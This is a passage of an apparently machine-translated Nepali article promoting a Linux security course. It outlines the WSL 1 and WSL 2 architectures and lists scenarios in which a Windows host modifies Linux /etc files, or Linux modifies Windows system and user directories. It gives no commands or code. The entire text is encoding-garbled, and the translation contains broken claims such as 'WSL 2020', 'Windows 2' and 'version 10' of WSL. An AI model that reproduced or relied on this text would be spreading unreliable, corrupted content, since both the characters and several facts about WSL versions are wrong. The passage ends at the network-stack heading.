WSL рдкреНрд░рдпреЛрдЧрд╣рд░реВред рднрд╛рдЧ 1

рдирдорд╕реНрддреЗ! OTUS рд▓реЗ рдЕрдХреНрдЯреЛрдмрд░рдорд╛ рдирдпрд╛рдБ рдкрд╛рдареНрдпрдХреНрд░рдо рд╕реНрдЯреНрд░рд┐рдо рд╕реБрд░реБ рдЧрд░реНрдЫ "рд▓рд┐рдирдХреНрд╕ рд╕реБрд░рдХреНрд╖рд╛"ред рдкрд╛рдареНрдпрдХреНрд░рдордХреЛ рд╕реБрд░реБрд╡рд╛рддрдХреЛ рдкреНрд░рддреНрдпрд╛рд╢рд╛рдорд╛, рд╣рд╛рдореА рд╣рд╛рдореНрд░рд╛ рдПрдХ рд╢рд┐рдХреНрд╖рдХ, рдЕрд▓реЗрдХреНрдЬреНрдпрд╛рдгреНрдбрд░ рдХреЛрд▓реЗрд╕реНрдирд┐рдХреЛрднрд▓реЗ рд▓реЗрдЦреЗрдХреЛ рд▓реЗрдЦ рддрдкрд╛рдИрд╕рдБрдЧ рд╕рд╛рдЭрд╛ рдЧрд░реНрджреИрдЫреМрдВред

WSL рдкреНрд░рдпреЛрдЧрд╣рд░реВред рднрд╛рдЧ 1

2016 рдорд╛, рдорд╛рдЗрдХреНрд░реЛрд╕рдлреНрдЯрд▓реЗ рдЖрдИрдЯреА рд╕рдореБрджрд╛рдпрдорд╛ рдирдпрд╛рдБ WSL рдкреНрд░рд╡рд┐рдзрд┐ рдкреНрд░рд╕реНрддреБрдд рдЧрд░реНтАНрдпреЛ (WрднрддреНрдХрд┐рдПрдХреЛ рдЫ SрдХреЛ рд▓рд╛рдЧрд┐ ubsystem Linux), рдЬрд╕рд▓реЗ рднрд╡рд┐рд╖реНрдпрдорд╛ рд╕рд╛рдорд╛рдиреНрдп рд░ рдЙрдиреНрдирдд OS рдкреНрд░рдпреЛрдЧрдХрд░реНрддрд╛рд╣рд░реВ: рд╡рд┐рдиреНрдбреЛрдЬ рд░ рд▓рд┐рдирдХреНрд╕ рджреБрд╡реИ рдмреАрдЪ рд▓реЛрдХрдкреНрд░рд┐рдпрддрд╛рдХреЛ рд▓рд╛рдЧрд┐ рд▓рдбрд┐рд░рд╣реЗрдХрд╛ рдкрд╣рд┐рд▓реЗрдХрд╛ рдЕрд╕рдВрдЧрдд рдкреНрд░рддрд┐рд╕реНрдкрд░реНрдзреАрд╣рд░реВрд▓рд╛рдИ рдПрдХрддрд╛рдмрджреНрдз рдЧрд░реНрди рд╕рдореНрднрд╡ рдмрдирд╛рдпреЛред рдпреЛ рдЯреЗрдХреНрдиреЛрд▓реЛрдЬреАрд▓реЗ рд▓рд┐рдирдХреНрд╕ рдЪрд▓рд╛рдЙрди рдЖрд╡рд╢реНрдпрдХ рдмрд┐рдирд╛ Windows рд╡рд╛рддрд╛рд╡рд░рдгрдорд╛ рд▓рд┐рдирдХреНрд╕ рдУрдПрд╕ рдЙрдкрдХрд░рдгрд╣рд░реВ рдкреНрд░рдпреЛрдЧ рдЧрд░реНрди рд╕рдореНрднрд╡ рдмрдирд╛рдпреЛ, рдЙрджрд╛рд╣рд░рдгрдХрд╛ рд▓рд╛рдЧрд┐, рдмрд╣реБ-рдмреБрдЯ рдкреНрд░рдпреЛрдЧ рдЧрд░реЗрд░ред Habr рдорд╛ рддрдкрд╛рдИрдВрд▓реЗ WSL рдкреНрд░рдпреЛрдЧ рдЧрд░реНрдиреЗ рдлрд╛рдЗрджрд╛рд╣рд░реВ рд╡рд░реНрдгрди рдЧрд░реНрдиреЗ рд▓реЗрдЦрд╣рд░реВрдХреЛ рдареВрд▓реЛ рд╕рдВрдЦреНрдпрд╛ рдкрд╛рдЙрди рд╕рдХреНрдиреБрд╣реБрдиреНрдЫред рдпрджреНрдпрдкрд┐, рджреБрд░реНрднрд╛рдЧреНрдпрд╡рд╢, рдпрд╕ рд▓реЗрдЦрдХреЛ рд╕рд┐рд░реНрдЬрдирд╛рдХреЛ рд╕рдордпрдорд╛, рдпрд╕ рд╕реНрд░реЛрддрдорд╛ рдЕрдкрд░реЗрдЯрд┐рдЩ рд╕рд┐рд╕реНрдЯрдорд╣рд░реВрдХреЛ рдпрд╕реНрддреЛ рд╕рд┐рдореНрдмрд╛рдпреЛрд╕рд┐рд╕рдХреЛ рд╕реБрд░рдХреНрд╖рд╛рдорд╛ рдХреБрдиреИ рдЕрдзреНрдпрдпрдирд╣рд░реВ рдлреЗрд▓рд╛ рдкрд░реЗрдирдиреНред рдпреЛ рдкреЛрд╕реНрдЯ рдпрд╕рд▓рд╛рдИ рд╕рдЪреНрдпрд╛рдЙрдиреЗ рдкреНрд░рдпрд╛рд╕ рд╣реБрдиреЗрдЫред рд▓реЗрдЦрд▓реЗ WSL 1 рд░ 2 рдЖрд░реНрдХрд┐рдЯреЗрдХреНрдЪрд░рдХрд╛ рд╕реБрд╡рд┐рдзрд╛рд╣рд░реВрдХреЛ рдмрд╛рд░реЗрдорд╛ рдХреБрд░рд╛ рдЧрд░реНрдиреЗрдЫ рд░ рдпреА рдкреНрд░рд╡рд┐рдзрд┐рд╣рд░реВ рдкреНрд░рдпреЛрдЧ рдЧрд░реЗрд░ рдкреНрд░рдгрд╛рд▓реАрд╣рд░реВрдорд╛ рдЖрдХреНрд░рдордгрд╣рд░реВрдХреЛ рдзреЗрд░реИ рдЙрджрд╛рд╣рд░рдгрд╣рд░реВ рдЬрд╛рдБрдЪ рдЧрд░реНрдиреЗрдЫред рд▓реЗрдЦ реи рднрд╛рдЧрдорд╛ рд╡рд┐рднрд╛рдЬрди рдЧрд░рд┐рдПрдХреЛ рдЫред рдкрд╣рд┐рд▓реЛрд▓реЗ рд▓рд┐рдирдХреНрд╕ рд░ рд╡рд┐рдиреНрдбреЛрдЬрдмрд╛рдЯ рдореБрдЦреНрдп рд╕реИрджреНрдзрд╛рдиреНрддрд┐рдХ рдЖрдХреНрд░рдордг рд╡рд┐рдзрд┐рд╣рд░реВ рдкреНрд░рджрд╛рди рдЧрд░реНрдиреЗрдЫред рджреЛрд╕реНрд░реЛ рд▓реЗрдЦрдорд╛ рдкрд░реАрдХреНрд╖рдг рд╡рд╛рддрд╛рд╡рд░рдг рд╕реНрдерд╛рдкрдирд╛ рдЧрд░реНрдиреЗ рд░ рдЖрдХреНрд░рдордгрд╣рд░реВ рдкреБрди: рдЙрддреНрдкрд╛рджрди рдЧрд░реНрдиреЗ рд╕рдорд╛рд╡реЗрд╢ рд╣реБрдиреЗрдЫред

WSL 1: рд╡рд╛рд╕реНрддреБ рд╕реБрд╡рд┐рдзрд╛рд╣рд░реВ

WSL рд╕реБрд░рдХреНрд╖рд╛ рдореБрджреНрджрд╛рд╣рд░реВрдорд╛ рд╕рдмреИрднрдиреНрджрд╛ рд╕рд╣реА рдбреБрдмреНрдирдХреЛ рд▓рд╛рдЧрд┐, рдпреЛ рд╕рдмрд╕рд┐рд╕реНрдЯрдордХреЛ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрдирд╕рдБрдЧ рд╕рдореНрдмрдиреНрдзрд┐рдд рдореБрдЦреНрдп рдмрд╛рд░реАрдХрд┐рдпреЛрдВ рдирд┐рд░реНрдзрд╛рд░рдг рдЧрд░реНрди рдЖрд╡рд╢реНрдпрдХ рдЫред WSL рджреНрд╡рд╛рд░рд╛ рд╣рд▓ рдЧрд░рд┐рдПрдХреЛ рдореБрдЦреНрдп рдкреНрд░рдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛рд░реНрдпрд╣рд░реВ рдордзреНрдпреЗ рдПрдХ Windows OS рдЪрд▓рд┐рд░рд╣реЗрдХреЛ рд╣реЛрд╕реНрдЯрдорд╛ рд▓рд┐рдирдХреНрд╕ рдЯрд░реНрдорд┐рдирд▓ рдорд╛рд░реНрдлрдд рдХрд╛рдо рдЧрд░реНрдиреЗ рдХреНрд╖рдорддрд╛ рд╣реЛред рд╕рд╛рдереИ, рдкреНрд░рд╕реНрддрд╛рд╡ рдЧрд░рд┐рдПрдХреЛ рдЕрдиреБрдХреВрд▓рддрд╛ рдпрддрд┐ рдиреЗрдЯрд┐рдн рдерд┐рдпреЛ рдХрд┐ рд▓рд┐рдирдХреНрд╕ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдпрд╣рд░реВ (ELFs) рд╕реАрдзрд╛ Windows рдкреНрд░рдгрд╛рд▓реАрдорд╛ рдЪрд▓рд╛рдЙрди рд╕рдХрд┐рдиреНрдЫред рдпреА рд▓рдХреНрд╖реНрдпрд╣рд░реВ рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрдирдХреЛ рд▓рд╛рдЧрд┐, Windows 10 рдорд╛ рдПрдХ рд╡рд┐рд╢реЗрд╖ рдЙрдкрдкреНрд░рдгрд╛рд▓реА рд╕рд┐рд░реНрдЬрдирд╛ рдЧрд░рд┐рдПрдХреЛ рдерд┐рдпреЛ рдЬрд╕рд▓реЗ рддрдкрд╛рдИрдВрд▓рд╛рдИ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдкреНрд░рдгрд╛рд▓реА рдХрд▓рд╣рд░реВрдХреЛ рд╕реЗрдЯ рдкреНрд░рдпреЛрдЧ рдЧрд░реЗрд░ рд▓рд┐рдирдХреНрд╕ рдЕрдиреБрдкреНрд░рдпреЛрдЧрд╣рд░реВ рдЪрд▓рд╛рдЙрди рдЕрдиреБрдорддрд┐ рджрд┐рдиреНрдЫ - рдпрд╕рд░реА, Windows рдорд╛ Linux syscalls рдХреЛ рд╕реЗрдЯ рдирдХреНрд╕рд╛ рдЧрд░реНрдиреЗ рдкреНрд░рдпрд╛рд╕ рдЧрд░рд┐рдПрдХреЛ рдерд┐рдпреЛред рдпреЛ рднреМрддрд┐рдХ рд░реВрдкрдорд╛ рдирдпрд╛рдБ рдбреНрд░рд╛рдЗрднрд░рд╣рд░реВ рд░ рдирдпрд╛рдБ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдврд╛рдБрдЪрд╛ рдердкреЗрд░ рд▓рд╛рдЧреВ рдЧрд░рд┐рдПрдХреЛ рдерд┐рдпреЛред рджреГрд╢реНрдпрд╛рддреНрдордХ рд░реВрдкрдорд╛ рд╡рд╛рд╕реНрддреБрдХрд▓рд╛ рдпрд╕реНрддреЛ рджреЗрдЦрд┐рдиреНрдЫ:

WSL рдкреНрд░рдпреЛрдЧрд╣рд░реВред рднрд╛рдЧ 1

рд╡рд╛рд╕реНрддрд╡рдорд╛, рд▓рд┐рдирдХреНрд╕ рдЕрдкрд░реЗрдЯрд┐рдЩ рд╕рд┐рд╕реНрдЯрдорд╕рдБрдЧ рдЕрдиреНрддрд░рдХреНрд░рд┐рдпрд╛ рдзреЗрд░реИ рдХрд░реНрдиреЗрд▓ рдореЛрдбреНрдпреБрд▓рд╣рд░реВ рд░ рдПрдХ рд╡рд┐рд╢реЗрд╖ рдкреНрд░рдХрд╛рд░рдХреЛ рдкреНрд░рдХреНрд░рд┐рдпрд╛ - рдкрд┐рдХреЛ рдорд╛рд░реНрдлрдд рд╡реНрдпрд╡рд╕реНрдерд┐рдд рдЧрд░рд┐рдПрдХреЛ рдерд┐рдпреЛред рдорд╛рдерд┐рдХреЛ рд░реЗрдЦрд╛рдЪрд┐рддреНрд░рдмрд╛рдЯ, рддрдкрд╛рдЗрдБ рджреЗрдЦреНрди рд╕рдХреНрдиреБрд╣реБрдиреНрдЫ рдХрд┐ рд╣реЛрд╕реНрдЯрдорд╛ рд▓рд┐рдирдХреНрд╕ рдЙрджрд╛рд╣рд░рдгрдорд╛ рдЪрд▓рд┐рд░рд╣реЗрдХреЛ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдиреЗрдЯрд┐рдн рд╣реБрдиреБрдкрд░реНрдЫ рд░ рдирд┐рдпрдорд┐рдд рд╡рд┐рдиреНрдбреЛрдЬ рдЕрдиреБрдкреНрд░рдпреЛрдЧрд╣рд░реВ рдЬрд╕реНрддреИ рд╕рдорд╛рди рд╕реНрд░реЛрддрд╣рд░реВ рдкреНрд░рдпреЛрдЧ рдЧрд░реНрдиреБрдкрд░реНрдЫред рддрд░ рдпреЛ рдХрд╕рд░реА рд╣рд╛рд╕рд┐рд▓ рдЧрд░реНрдиреЗ? рдкрд░рд┐рдпреЛрдЬрдирд╛рдорд╛ рдбреНрд░реНрд░рдмреНрд░рд┐рдЬ рд╡рд┐рдиреНрдбреЛрдЬрдХреЛ рд▓рд╛рдЧрд┐ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдЕрд╡рдзрд╛рд░рдгрд╛рд╣рд░реВ рд╡рд┐рдХрд╕рд┐рдд рдЧрд░рд┐рдПрдХреЛ рдерд┐рдпреЛ рдЬрд╕рд▓реЗ рдЕрд░реНрдХреЛ OS рдХреЛ рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдЪрд▓рд╛рдЙрди рдЕрдкрд░реЗрдЯрд┐рдЩ рд╕рд┐рд╕реНрдЯрдордХрд╛ рд╕рдмреИ рдЖрд╡рд╢реНрдпрдХ рдШрдЯрдХрд╣рд░реВ (рдпрд╕рдХреЛ рд╕рдВрд╕реНрдХрд░рдгрдорд╛ рдирд┐рд░реНрднрд░ рдЧрд░реНрджрдЫ) рдкреНрд░рджрд╛рди рдЧрд░реНрджрдЫред

рдзреНрдпрд╛рди рджрд┐рдиреБрд╣реЛрд╕реН рдХрд┐ рдкреНрд░рд╕реНрддрд╛рд╡рд┐рдд рдЕрдореВрд░реНрддрддрд╛рд▓реЗ рдЕрдкрд░реЗрдЯрд┐рдЩ рд╕рд┐рд╕реНрдЯрдо (рд╡рд┐рд╢реЗрд╖ рдЧрд░реА, рд╡рд┐рдиреНрдбреЛрдЬ) рдорд╛ рдлреЛрдХрд╕ рдирдЧрд░реНрди рд╕рдореНрднрд╡ рдмрдирд╛рдпреЛ, рдЬрд╕рдорд╛ рдЕрд░реНрдХреЛ OS рдХреЛ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реБрд░реБ рд╣реБрдиреЗ рдЕрдкреЗрдХреНрд╖рд╛ рдЧрд░рд┐рдПрдХреЛ рдЫ, рд░ рд╕рд╛рдорд╛рдиреНрдп рджреГрд╖реНрдЯрд┐рдХреЛрдгрдХреЛ рд╕реБрдЭрд╛рд╡ рджрд┐рдпреЛред

рдпрд╕рд░реА, рдкрд┐рдХреЛ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рднрд┐рддреНрд░рдХреЛ рдХреБрдиреИ рдкрдирд┐ рдЕрдиреБрдкреНрд░рдпреЛрдЧ рд╡рд┐рдиреНрдбреЛрдЬ рдХрд░реНрдиреЗрд▓рд▓рд╛рдИ рдзреНрдпрд╛рди рдирджрд┐рдИ рдЪрд▓рд╛рдЙрди рд╕рдХреНрдЫ:

  1. рдкреНрд░рдгрд╛рд▓реА рдХрд▓рд╣рд░реВрдХреЛ рдЕрдиреБрдХреВрд▓рддрд╛ рд░ рдЕрдиреБрд╡рд╛рджрдХреЛ рд╕рдорд╕реНрдпрд╛рд╣рд░реВ рд╡рд┐рд╢реЗрд╖ рдкреНрд░рджрд╛рдпрдХрд╣рд░реВрджреНрд╡рд╛рд░рд╛ рд╕рдорд╛рдзрд╛рди рдЧрд░рд┐рдиреБрдкрд░реНрдЫ;
  2. рдкрд╣реБрдБрдЪ рдирд┐рдпрдиреНрддреНрд░рдг рд╕реБрд░рдХреНрд╖рд╛ рдореЛрдирд┐рдЯрд░ рдорд╛рд░реНрдлрдд рдЧрд░реНрдиреБрдкрд░реНрдЫред рдордирд┐рдЯрд░ рдХрд░реНрдиреЗрд▓рдорд╛ рдЕрд╡рд╕реНрдерд┐рдд рдЫ рд░ рддреНрдпрд╕реИрд▓реЗ Windows рд▓рд╛рдИ рдирдпрд╛рдБ рдбреНрд░рд╛рдЗрднрд░рдХреЛ рд░реВрдкрдорд╛ рдЕрдкрдЧреНрд░реЗрдб рдЪрд╛рд╣рд┐рдиреНрдЫ рдЬреБрди рддреНрдпрд╕реНрддрд╛ рдкреНрд░рдХреНрд░рд┐рдпрд╛рд╣рд░реВрдХреЛ рд▓рд╛рдЧрд┐ рдкреНрд░рджрд╛рдпрдХрдХреЛ рд░реВрдкрдорд╛ рдХрд╛рд░реНрдп рдЧрд░реНрди рд╕рдХреНрдЫред рдкреНрд░реЛрдЯреЛрдЯрд╛рдЗрдк рдкрд┐рдХреЛ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдпреЛрдЬрдирд╛рдмрджреНрдз рд░реВрдкрдорд╛ рддрд▓ рдкреНрд░рд╕реНрддреБрдд рдЧрд░рд┐рдПрдХреЛ рдЫ:

WSL рдкреНрд░рдпреЛрдЧрд╣рд░реВред рднрд╛рдЧ 1

рд▓рд┐рдирдХреНрд╕ рдлрд╛рдЗрд▓ рдкреНрд░рдгрд╛рд▓реАрд▓реЗ рдХреЗрд╕-рд╕реЗрдиреНрд╕реЗрдЯрд┐рдн рдлрд╛рдЗрд▓ рд░ рдбрд╛рдЗрд░реЗрдХреНрдЯрд░реА рдирд╛рдорд╣рд░реВ рдкреНрд░рдпреЛрдЧ рдЧрд░реЗрдХреЛ рд╣реБрдирд╛рд▓реЗ, WSL - VolFS рд░ DriveFS рд╕рдБрдЧ рдХрд╛рдо рдЧрд░реНрди Windows рдорд╛ реи рдкреНрд░рдХрд╛рд░рдХрд╛ рдлрд╛рдЗрд▓ рдкреНрд░рдгрд╛рд▓реАрд╣рд░реВ рдердкрд┐рдПрдХрд╛ рдерд┐рдПред VolFS Linux рдлрд╛рдЗрд▓ рдкреНрд░рдгрд╛рд▓реАрдХреЛ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рд╣реЛ, DriveFS рдПрдХ рдлрд╛рдЗрд▓ рдкреНрд░рдгрд╛рд▓реА рд╣реЛ рдЬрд╕рд▓реЗ Windows рдирд┐рдпрдорд╣рд░реВ рдЕрдиреБрд╕рд╛рд░ рдХрд╛рдо рдЧрд░реНрджрдЫ, рддрд░ рдХреЗрд╕ рд╕рдВрд╡реЗрджрдирд╢реАрд▓рддрд╛ рдЪрдпрди рдЧрд░реНрдиреЗ рдХреНрд╖рдорддрд╛ рдЫред

WSL 2

WSL 1 рдорд╛ рдзреЗрд░реИ рд╕реАрдорд┐рддрддрд╛рд╣рд░реВ рдерд┐рдП рдЬрд╕рд▓реЗ рдпрд╕рд▓рд╛рдИ рдХрд╛рд░реНрдпрд╣рд░реВрдХреЛ рдЕрдзрд┐рдХрддрдо рджрд╛рдпрд░рд╛ рд╕рдорд╛рдзрд╛рди рдЧрд░реНрди рдкреНрд░рдпреЛрдЧ рдЧрд░реНрди рдЕрдиреБрдорддрд┐ рджрд┐рдПрдирдиреН: рдЙрджрд╛рд╣рд░рдгрдХрд╛ рд▓рд╛рдЧрд┐, рдпрд╕рдорд╛ 32-рдмрд┐рдЯ рд▓рд┐рдирдХреНрд╕ рдЕрдиреБрдкреНрд░рдпреЛрдЧрд╣рд░реВ рдЪрд▓рд╛рдЙрди рд╕рдХреНрдиреЗ рдХреНрд╖рдорддрд╛ рдерд┐рдПрди, рд░ рдпреЛ рдЙрдкрдХрд░рдг рдбреНрд░рд╛рдЗрднрд░рд╣рд░реВ рдкреНрд░рдпреЛрдЧ рдЧрд░реНрди рдЕрд╕рдореНрднрд╡ рдерд┐рдпреЛред рддреНрдпрд╕рдХрд╛рд░рдг, реирежреиреж рдорд╛, WSL 2020 рдЬрд╛рд░реА рдЧрд░рд┐рдпреЛ, рдЬрд╕рд▓реЗ рдЙрдкрдкреНрд░рдгрд╛рд▓реА рдирд┐рд░реНрдорд╛рдг рдЧрд░реНрдиреЗ рджреГрд╖реНрдЯрд┐рдХреЛрдгрд▓рд╛рдИ рдкрд░рд┐рд╡рд░реНрддрди рдЧрд░реНтАНрдпреЛред WSL 2 рдПрдХ рдЕрдиреБрдХреВрд▓рд┐рдд рднрд░реНрдЪреБрдЕрд▓ рдореЗрд╕рд┐рди рд╣реЛ рдЬрд╕рд▓реЗ WSL 2 рдХреЛ рд╕реНрд░реЛрдд рдЦрдкрдд рд╡рд┐рд╢реЗрд╖рддрд╛рд╣рд░реВрд╕рдБрдЧ рдореЗрд▓ рдЦрд╛рдиреНрдЫред рдЕрдм, рд╡рд┐рдиреНрдбреЛрдЬ рдУрдПрд╕ рдкреНрд░рдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рд╕рдорд╛рдзрд╛рди рдЧрд░рд┐рдПрдХрд╛ рд╕рдорд╕реНрдпрд╛рд╣рд░реВрдХреЛ рдЖрдзрд╛рд░рдорд╛, рддрдкрд╛рдЗрдБ рд▓рд┐рдирдХреНрд╕ рд╕рдмрд╕рд┐рд╕реНрдЯрдордХреЛ рдЖрд╡рд╢реНрдпрдХ рд╕рдВрд╕реНрдХрд░рдг рдЪрдпрди рдЧрд░реНрди рд╕рдХреНрдиреБрд╣реБрдиреНрдЫред рд╕рдореНрднрд╛рд╡рд┐рдд рдХрдордЬреЛрд░реАрд╣рд░реВрд▓рд╛рдИ рдХрдо рдЧрд░реНрди, WSL 1 рд▓рд╛рдИ Windows 2 рдорд╛ Hyper-V рдХреЛ рдЖрдзрд╛рд░рдорд╛ рд▓рд╛рдЧреВ рдЧрд░рд┐рдПрдХреЛ рдерд┐рдпреЛред рдпрд╕ рдлрд╛рд░рдордорд╛, Windows рд╕рдБрдЧ рд▓рд┐рдирдХреНрд╕ рдЕрдкрд░реЗрдЯрд┐рдЩ рд╕рд┐рд╕реНрдЯрдо рдХрд░реНрдиреЗрд▓рд▓рд╛рдИ рдПрдХреНрд▓реЛрд╕рдирдорд╛ рдЪрд▓рд╛рдЙрди рд╕рдХреНрдиреЗ рдХреНрд╖рдорддрд╛ рдЫред рдпреЛ рдпрд╛рдж рдЧрд░реНрди рд▓рд╛рдпрдХ рдЫ рдХрд┐ WSL рдХреЛ рд╕рдВрд╕реНрдХрд░рдг 10 рдПрдХ рдмреАрдЯрд╛ рд╕реБрд╡рд┐рдзрд╛рдХреЛ рд░реВрдкрдорд╛ рдкреНрд░рд╕реНрддреБрдд рдЧрд░рд┐рдПрдХреЛ рдерд┐рдпреЛ рдЬреБрди рдпрд╕ рдХреНрд╖реЗрддреНрд░рдорд╛ рд╡рд┐рдиреНрдбреЛрдЬ рд╡рд┐рдХрд╛рд╕рдХреЛ рджрд┐рд╢рд╛ рджреЗрдЦрд╛рдЙрдиреЗ рдерд┐рдпреЛ, рддреНрдпрд╕реИрд▓реЗ рд╣рд╛рдЗрдкрд░-V рдорд╛ рд╕рдВрдХреНрд░рдордг рдЕрдкрд░рд┐рд╣рд╛рд░реНрдп рдерд┐рдпреЛред рдЕрдиреНрддрд┐рдо рд╡рд╛рд╕реНрддреБрдХрд▓рд╛ рдпрд╕реНрддреЛ рджреЗрдЦрд┐рдиреНрдЫ:

WSL рдкреНрд░рдпреЛрдЧрд╣рд░реВред рднрд╛рдЧ 1

рдпрд╕ рд╕рдВрд╕реНрдХрд░рдгрдорд╛, рд╡рд┐рдиреНрдбреЛрдЬ рд░ рд▓рд┐рдирдХреНрд╕ рдХрд░реНрдиреЗрд▓рд╣рд░реВрдХреЛ рдЖрдлреНрдиреИ рд╕реНрд░реЛрддрд╣рд░реВ рдЫрдиреН рд░ рдлрд╛рдИрд▓ рдкреНрд░рдгрд╛рд▓реАрдорд╛ рдкреНрд░рддрд┐рдЪреНрдЫреЗрджрди рдорд╛рддреНрд░ рдЕрд╡рд╕реНрдерд┐рдд рдЫ, рддрд░ рдпреЛ рдкреНрд░рддрд┐рдЪреНрдЫреЗрджрди рдкреВрд░реНрдг рдЫреИрдиред рдлрд╛рдЗрд▓ рдкреНрд░рдгрд╛рд▓реАрд╣рд░реВ рдмреАрдЪрдХреЛ рдЕрдиреНрддрд░реНрдХреНрд░рд┐рдпрд╛ рдХреНрд▓рд╛рдЗрдиреНрдЯ-рд╕рд░реНрднрд░ рд░реНрдпрд╛рдкрд░ рдорд╛рд░реНрдлрдд рдЧрд░рд┐рдиреНрдЫ рдЬреБрди 9P рдкреНрд░реЛрдЯреЛрдХрд▓ рдкреНрд░рдпреЛрдЧ рдЧрд░реЗрд░ рдХрд╛рдо рдЧрд░реНрджрдЫред

рдЖрдЬ рдорд╛рдЗрдХреНрд░реЛрд╕рдлреНрдЯрд▓реЗ WSL 1 рд░ WSL 2 рдмреАрдЪ рд╕реНрд╡рд┐рдЪ рдЧрд░реНрдиреЗ рдХреНрд╖рдорддрд╛ рдкреНрд░рджрд╛рди рдЧрд░реНрджрдЫред рджреБрдмреИ рд╕рдВрд╕реНрдХрд░рдгрд╣рд░реВ рдкреНрд░рдпреЛрдЧрдХреЛ рд▓рд╛рдЧрд┐ рдЙрдкрд▓рдмреНрдз рдЫрдиреНред

WSL рд╕реБрд░рдХреНрд╖рд╛

рдпрд╕ рд╕рдордпрдорд╛, рддреНрдпрд╣рд╛рдБ рдзреЗрд░реИ рдХрд╛рд░реНрдпрд╣рд░реВ рдЫрдиреН рдЬреБрди рдЙрдкрдкреНрд░рдгрд╛рд▓реАрд╣рд░реВ рдмреАрдЪрдХреЛ рд╕рдЮреНрдЪрд╛рд░рд▓рд╛рдИ рдЖрдХреНрд░рдордг рдЧрд░реНрди рд╡реИрдз OS рдЙрдкрдХрд░рдгрд╣рд░реВ рдкреНрд░рдпреЛрдЧ рдЧрд░реНрдирдХрд╛ рд▓рд╛рдЧрд┐ рдХреЗрд╣реА рджреГрд╖реНрдЯрд┐рдХреЛрдгрд╣рд░реВ рд╡рд░реНрдгрди рдЧрд░реНрджрдЫред рд╣рд╛рдореА рд▓реЗрдЦреНрдиреЗ рд╕рдордпрдорд╛ рдЖрдХреНрд░рдордгрд╣рд░реВрдХреЛ рд╕рд╛рдиреНрджрд░реНрднрд┐рдХрддрд╛ рдЬрд╛рдБрдЪ рдЧрд░реНрди рддрд┐рдиреАрд╣рд░реВрдХреЛ рд╕реНрдХреНрд░рд┐рдкреНрдЯрд╣рд░реВ рдкреНрд░рдпреЛрдЧ рдЧрд░реНрдиреЗрдЫреМрдВред рдЖрдХреНрд░рдордг рд░ рдкрд░рд┐рджреГрд╢реНрдпрд╣рд░реВрдХреЛ рд╕рд╛рдорд╛рдиреНрдп рд╕реВрдЪреА:

1. рдлрд╛рдЗрд▓ рдкреНрд░рдгрд╛рд▓реА рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди: рдкрд╣реБрдБрдЪ рдЕрдзрд┐рдХрд╛рд░, рд╕рд╛рдЭрд╛ рдбрд╛рдЗрд░реЗрдХреНрдЯрд░реА/рдбреЗрдЯрд╛ рд╡рд┐рдирд┐рдордп рд╕рдВрдпрдиреНрддреНрд░рд╣рд░реВрдХреЛ рдЙрдкрд▓рдмреНрдзрддрд╛ред

рдмрд╛рдЯ рдкрд╣реБрдБрдЪ рдирд┐рдпрдорд╣рд░реВрдХреЛ рдЙрд▓реНрд▓рдЩреНрдШрди рдирд┐рд░реНрдзрд╛рд░рдг рдЧрд░реНрди рдЕрдиреБрд╕рдиреНрдзрд╛рди рдЧрд░рд┐рдПрдХреЛ рдерд┐рдпреЛ рд▓рд┐рдирдХреНрд╕ FS->Windows FS, Windows FS->Linux FSред рдЕрдиреБрд╕рдиреНрдзрд╛рдирд▓реЗ рд▓рдХреНрд╖рд┐рдд OS рднрд┐рддреНрд░ рджрд┐рдЗрдПрдХреЛ рдлрд╛рдЗрд▓ рдкрд░рд┐рдорд╛рд░реНрдЬрди рдЧрд░реНрдиреЗ рдХреНрд╖рдорддрд╛ рджреЗрдЦрд╛рдПрдХреЛ рдЫред рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрди рдЧрд░реНрди, рдбреБрдкреНрд▓рд┐рдХреЗрдЯрд╣рд░реВ рд╕рд┐рд░реНрдЬрдирд╛ рдЧрд░реНрди рд░ рдлрд╛рдЗрд▓ рдкреНрд░рдгрд╛рд▓реАрдХреЛ рдЕрдВрд╢ рдореЗрдЯрд╛рдЙрдиреЗ рдкреНрд░рдпрд╛рд╕рд╣рд░реВ рдкрдирд┐ рдЧрд░рд┐рдпреЛред

рдкрд░рд┐рджреГрд╢реНрдп:

  • A. рд╡рд┐рдиреНрдбреЛрдЬ рдЕрдкрд░реЗрдЯрд┐рдЩ рд╕рд┐рд╕реНрдЯрдордмрд╛рдЯ рдЖрдХреНрд░рдордг - Linux OS рдХреЛ /etc рдбрд╛рдЗрд░реЗрдХреНрдЯрд░реАрдмрд╛рдЯ рдлрд╛рдЗрд▓рд╣рд░реВрдХреЛ рдкрд░рд┐рдорд╛рд░реНрдЬрдиред
  • B. рд▓рд┐рдирдХреНрд╕ рдЕрдкрд░реЗрдЯрд┐рдЩ рд╕рд┐рд╕реНрдЯрдордмрд╛рдЯ рдЖрдХреНрд░рдордг - рдбрд╛рдЗрд░реЗрдХреНрдЯрд░реАрд╣рд░реВрдорд╛ рдлрд╛рдЗрд▓рд╣рд░реВрдХреЛ рдкрд░рд┐рдорд╛рд░реНрдЬрди: C:Windows, C:Program Files, C:Users<User>

2. рдиреЗрдЯрд╡рд░реНрдХ рд╕реНрдЯреНрдпрд╛рдХ рдХреЛ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрдиред

